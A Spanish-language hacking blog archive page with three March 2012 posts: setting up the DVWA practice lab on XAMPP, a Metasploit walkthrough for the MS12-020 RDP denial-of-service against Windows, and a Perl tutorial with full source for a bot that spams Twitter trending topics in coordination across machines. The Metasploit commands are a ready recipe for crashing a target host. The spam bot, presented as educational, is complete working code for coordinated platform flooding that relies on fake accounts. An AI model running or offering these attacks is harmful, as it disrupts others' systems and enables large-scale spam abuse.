viernes, 23 de marzo de 2012

DVWAP + XAMPP en Ubuntu

 
 En esta entrada voy a hablaros sobre DVWA un framework que nos permite practicar diversos ataques a infraestructuras web (XSS, SQLi, File inclusion...), todo esto sin meternos en problemas legales.
  Siendo novato en estos temas (a diferencia de mis compañeros de blog ;)) me está viniendo bastante bien para conocer los fundamentos de estos ataques de forma fácil y controlada, con lo que me dispongo a comentaros como instalar este interesante banco de pruebas de la forma más simple posible.

Nota: La instalación la he realizado en una máquina virtual con Ubuntu 10.04 y XAMPP, por tanto explicare como configurarlo sobre esta distribución.


[---] Lo primero será configurar XAMPP con la finalidad de hacer funcionar después DVWA sobre este, para ello partimos de un Ubuntu instalado (su instalación es muy simple y no entra en la finalidad de este post), así que descargamos XAMPP de su web :
http://www.apachefriends.org/download.php?xampp-linux-1.7.7.tar.gz
y procedemos a la instalación como muy bien nos explican en su web:
[+] Nos autenticamos como root:
su
[+] Extraemos el archivo descargado en /opt:
tar xvfz xampp-linux-1.7.7.tar.gz -C /opt
[+] Esto instalará un apache+php+mysql en /opt/lampp.

[+] Para ejecutarlo basta con:
/opt/lampp/lampp start
y veremos algo como esto:
Starting XAMPP for Linux 1.7.7...
XAMPP: Starting Apache with SSL (and PHP5)...
XAMPP: Starting MySQL...
XAMPP: Starting ProFTPD...
XAMPP for Linux started.
[+] Para finalizar este paso comprobaremos que está correctamente instalado poniendo en nuestro navegador:
http://localhost


[---] Una vez instalada la base(XAMPP) vamos a descargar DVWA e "instalarlo", esto lo podemos hacer desde:
http://dvwa.googlecode.com/files/DVWA-1.0.7.zip
y nos descargará un pequeño archivo de 1,3 Mb.

[+] Nuestro siguiente movimiento será extraerlo en /opt/lampp/htdocs:
unzip DVWA-1.0.7.zip -d /opt/lampp/htdocs/
[+] Comprobamos que todo funciona bien accediendo con el navegador a:
http://localhost/dvwa

[+] En este momento veremos una pantalla de login, que tenemos que rellenar con:
Username = admin
Password = password
    y pulsamos en "login" con lo que accederemos al panel principal de la aplicación.

 [+] Por último solo nos quedará instalar/configurar la base de datos de DVWA, esto es tan simple como:
 Menú derecho -> Setup y pulsamos en "Create/Reset Database"

Con esto ya tendremos todo configurado para poder acercarnos a este mundo de una forma controlada, segura y sin complicaciones.

Antes de despedirme comentaros que esta implementación de DVWA dista muchísimo de ser segura, tanto la configuración de XAMPP como de la aplicación no son seguros y deberían instalarse en un entorno controlado para evitar sustos.

Ahora sí me despido, nos leemos en breve ;)

Aetsu


5 0verl0ad Labs: marzo 2012    En esta entrada voy a hablaros sobre DVWA un framework que nos permite practicar diversos ata...

martes, 20 de marzo de 2012

Metasploit y MS12-020

 Recientemente ha aparecido una vulnerabilidad que afecta a Windows y su implementación del protocolo RDP (Remote Desktop Protocol) desde XP hasta W7

  Como era previsible, hace poco empezaban a llegar noticias de exploits funcionales que aprovechaban esta vulnerabilidad realizando un DoS al equipo víctima, pero hoy he leído que Metasploit ya incorpora el exploit en su base de datos así que vamos a ver como aprovechar esto.
 Para la demostración he utilizado una máquina virtual con Backtrack 5  R2 junto con Metasploit que ya viene instalado en esta distribución.

  Lo primero que tenemos que hacer es actualizar metasploit, para ello utilizamos en una terminal:
msfupdate
  Si os da problemas como a mí, haced lo siguiente que he encontrado aquí:
cd /opt/metasploit/common/lib
mv libcrypto.so.0.9.8 libcrypto.so.0.9.8-b

mv libssl.so.0.9.8 libssl.so.0.9.8-backup

ln -s /usr/lib/libcrypto.so.0.9.8

ln -s /usr/lib/libssl.so.0.9.8

m
sfupdate
 El siguiente paso es arrancar metasploit con:
msfconsole

a continuación escogemos el módulo a utilizar:
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
 
 Si queremos ver los parámetros que requiere para su funcionamiento junto con información del módulo podemos usar 
info
 Como vemos con el comando info requiere del parámetro RHOST referente a la IP del objetivo (en el ejemplo 192.168.0.107), para asignarlo basta con:
set RHOST <ip>
en este caso:
set RHOST 192.168.0.107
  y por último lanzamos el exploit:
run

Con esto deberíamos ver un precioso pantallazo azul en el Windows objetivo :D


  Puesto que este era un post práctico he intentado ir lo mas directo que he podido, si queréis más información sobre la vulnerabilidad aquí tenéis unos enlaces interesantes:
Con todo esto me despido, y a ver si consigo aumentar mi participación en este blog, un saludo  ;)

Aetsu
5 0verl0ad Labs: marzo 2012  Recientemente ha aparecido una vulnerabilidad que afecta a Windows y su implementación del protoc...

sábado, 3 de marzo de 2012

Tutorial: construyendo "Kidnapped Trending Topics" (0verKTT.pl v0.2)

Saludos,

Antes que nada quiero aclarar que yo no soy programador, y que por ello la gente que sí se dedique a la programación quizás se encuentre muchos errores básicos en el script. Mi única intención con este breve tutorial es acercar un poco el cómo pasar de una idea abstracta en la cabeza a una herramienta. Dejando esto claro, continúo.

La idea de la herramienta que tenía era la de un bot spammer automático que twiteara un mensaje de spam en los Trending Topics del momento, y que además esta herramienta se pudiera coordinar con otros ordenadores que también la tuvieran corriendo, para realizar de esta forma un floodeo con el mismo mensaje. Por lo tanto teníamos que resolver los siguientes problemas:

1) Conseguir loguearnos en Twitter y poder escribir tweets
2) Averiguar los TTs del momento
3) Coordinar el ataque


--[0x01 Trabajar con Twitter: misión API]---->


Lo primero que tuve que hacer fue investigar cómo diablos poder autenticarnos desde una aplicación en twitter y tener acceso a la API, respuesta que encontré en un documento de la sección de twitter para desarrolladores. De ahí pude sacar en claro que para poder postear tweets era necesario previamente una autenticación 0auth, consistente en un par de claves asignadas a la herramienta y otro par de claves asignado al usuario. Para poder obtener dichas claves se debe de registrar previamente el proyecto de la herramienta en Twitter Developers (cuentas falsas, cof cof), donde tendremos que seleccionar qué permisos queremos darle a la herramienta.

Una vez descubierto cómo tener acceso a la API de twitter sólo restaba averiguar si tenía que hacer todas las conexiones en crudo o existía algún wrapper que me permitiera agilizar las operaciones, por lo que hice una búsqueda en CPAN y me encontré con que existía un módulo llamado Net::Twitter para tal fin. Consultando su documentación podía verse que para la autenticación no había ningún misterio, simplemente asignar a las variables necesarias:

Código: Perl

use Net::Twitter;

my $nt = Net::Twitter->new(
traits => [qw/OAuth API::REST/],
consumer_key => $consumer_key,
consumer_secret => $consumer_secret,
access_token => $token,
access_token_secret => $token_secret,
);



$consumer_key y el resto de variables son las claves que nos dieron al registrar el proyecto de la herramienta.



--[0x02 Extraer los TTs del momento]---->

El siguiente paso lógico es averiguar cuales son los TTs para poder postear en ellos. Los TTs podemos encontrarlos en formato JSON en la URL http://api.twitter.com/1/trends/1.json , por lo que para poder extraer los datos que nos interesan tenemos que tirar de regexp o usar un módulo, que en este caso se llama JSON y permite el trabajo con los datos de estos ficheros de forma sencilla. Luego en resumidas cuentas tenemos que lanzar una petición GET al archivo 1.json y después extraer de él los datos que nos interesan:

Código: Perl

use LWP::UserAgent;
use JSON;

sub sacarTT {

$nav = LWP::UserAgent->new;
$nav = $nav->get('http://api.twitter.com/1/trends/1.json');
$nav = $nav->decoded_content;
$json_result = from_json($nav);

return $json_result;

}


Como podemos comprobar estoy usando una subrutina que me devolverá el contenido de 1.json decodificado.


--[0x03 Coordinar el ataque]---->

El siguiente problema a resolver es encontrar una forma simple y efectiva de poder coordinar todas las herramientas, de tal forma que todas posteen el mismo mensaje, además de que en caso de que el mensaje cambie, la herramienta detecte este cambio y postee el nuevo mensaje. Tras pensarlo detenidamente he creído sacar en claro que la manera que aporta más ventajas es a través de .txt localizados en algún servidor. Es decir, se colocaría un .txt con la frase en un servidor, y todos los usuarios de la herramienta tendrían que pasar como parámetro la URL donde se encuentra el mensaje. Las ventajas que encuentro a este sistema es que es independiente de las herramientas, puede modificarse el .txt rápidamente, pesa poco y se puede ir cambiando la localización de éste en distintos servidores. Si se quiere rizar el rizo se podría aplicar algún tipo de encriptación, pero en mi caso no lo he hecho.

Por lo tanto con que la herramienta haga una simple petición GET al archivo .txt y lea el contenido será suficiente:

Código: Perl

sub actu {

$nav = LWP::UserAgent->new;
$nav = $nav->get($_[0]);
$nav = $nav->decoded_content;

return $nav;

}






--[0x04 Twitteando que es gerundio]---->

Habiendonos autenticado ya, extraído cuales son los TTs, y conociendo qué mensaje queremos dar, sólo nos queda twittear. Para ello tiraremos de un bucle foreach que aplicaremos a lo que nos devuelva la subrutina &sacarTT para ir sacando los hashtags, los cuales serán añadidos al mensaje de SPAM, e ir actualizando nuestro estado:

Código: Perl

$TT = &sacarTT;
foreach $trend (@{$TT->[0]->{'trends'}}) {

$xc = $trend->{'name'};
print $xc . "\n";
$spam = $Tweet . " " . $xc;
$nt->update($spam);
sleep 45;
}

}


Podeis ver que no tiene misterio alguno ya que gracias al uso de módulos todo el código se resume en apenas unas pocas líneas.



--[0x05 Detalles finales]---->

Por último sólo nos queda atar algunos cabos sueltos, como es que la herramienta sea "automática", o en otras palabras, que trabaje en un bucle infinito:

Código: Perl

while(true) {

Código que se tiene que repetir

}



Además de comprobar si se le ha pasado el argumento con la URL:

Código: Perl

$ARGC = @ARGV;
if ($ARGC != 1){
print "\nUso: 0verKTT.pl <url del txt>";
exit(0);
}




--[0x06 Código completado]---->

El source de la herramienta una vez integrado todo sería el siguiente:


Código: Perl


#Tutorial para CPH
#Codeado por The X-C3LL
#http://0verl0ad.blogspot.com


use Net::Twitter;
use LWP::UserAgent;
use JSON;

my $consumer_key = "";
my $consumer_secret = "";
my $token = "";
my $token_secret = "";


$ARGC = @ARGV;
if ($ARGC != 1){
print "\nUso: 0verKTT.pl <url del txt>";
exit(0);
}


print q(
-===Kidnapping Trending Topics v0.2 Public===-
By The X-C3LL



);

print "[-->] Autenticandonos en Twitter... \n";

my $nt = Net::Twitter->new(
traits => [qw/OAuth API::REST/],
consumer_key => $consumer_key,
consumer_secret => $consumer_secret,
access_token => $token,
access_token_secret => $token_secret,
);



while(true) {


print "[-->] Conectando con el servidor [" . $ARGV[0] . "]...\n";
$Tweet = &actu($ARGV[0]);
print "[-->] Tweet actual... " . $Tweet . "\n";
print "[-->] Trends Spammed...\n\n";



$TT = &sacarTT;
foreach $trend (@{$TT->[0]->{'trends'}}) {

$xc = $trend->{'name'};
print $xc . "\n";
$spam = $Tweet . " " . $xc;
$nt->update($spam);
sleep 45;
}

}

sub sacarTT {

$nav = LWP::UserAgent->new;
$nav = $nav->get('http://api.twitter.com/1/trends/1.json');
$nav = $nav->decoded_content;
$json_result = from_json($nav);

return $json_result;

}


sub actu {

$nav = LWP::UserAgent->new;
$nav = $nav->get($_[0]);
$nav = $nav->decoded_content;

return $nav;

}




--[0x07 Comentario final]---->

Esta herramienta está diseñada para aprender, no para ser usada, con esto quiero decir que espero que no sea usada por la jauría de Skiddies para jugar a los Anonymous. Como dije al principio no soy programador, por lo que habré errado en cosas simples, y probablemente habré hecho las cosas de la forma menos eficiente, pero si a alguien le sirve, bienvenido sea.
5 0verl0ad Labs: marzo 2012 Saludos, Antes que nada quiero aclarar que yo no soy programador, y que por ello la gente que sí se dedique a la programación quizás se ...
< >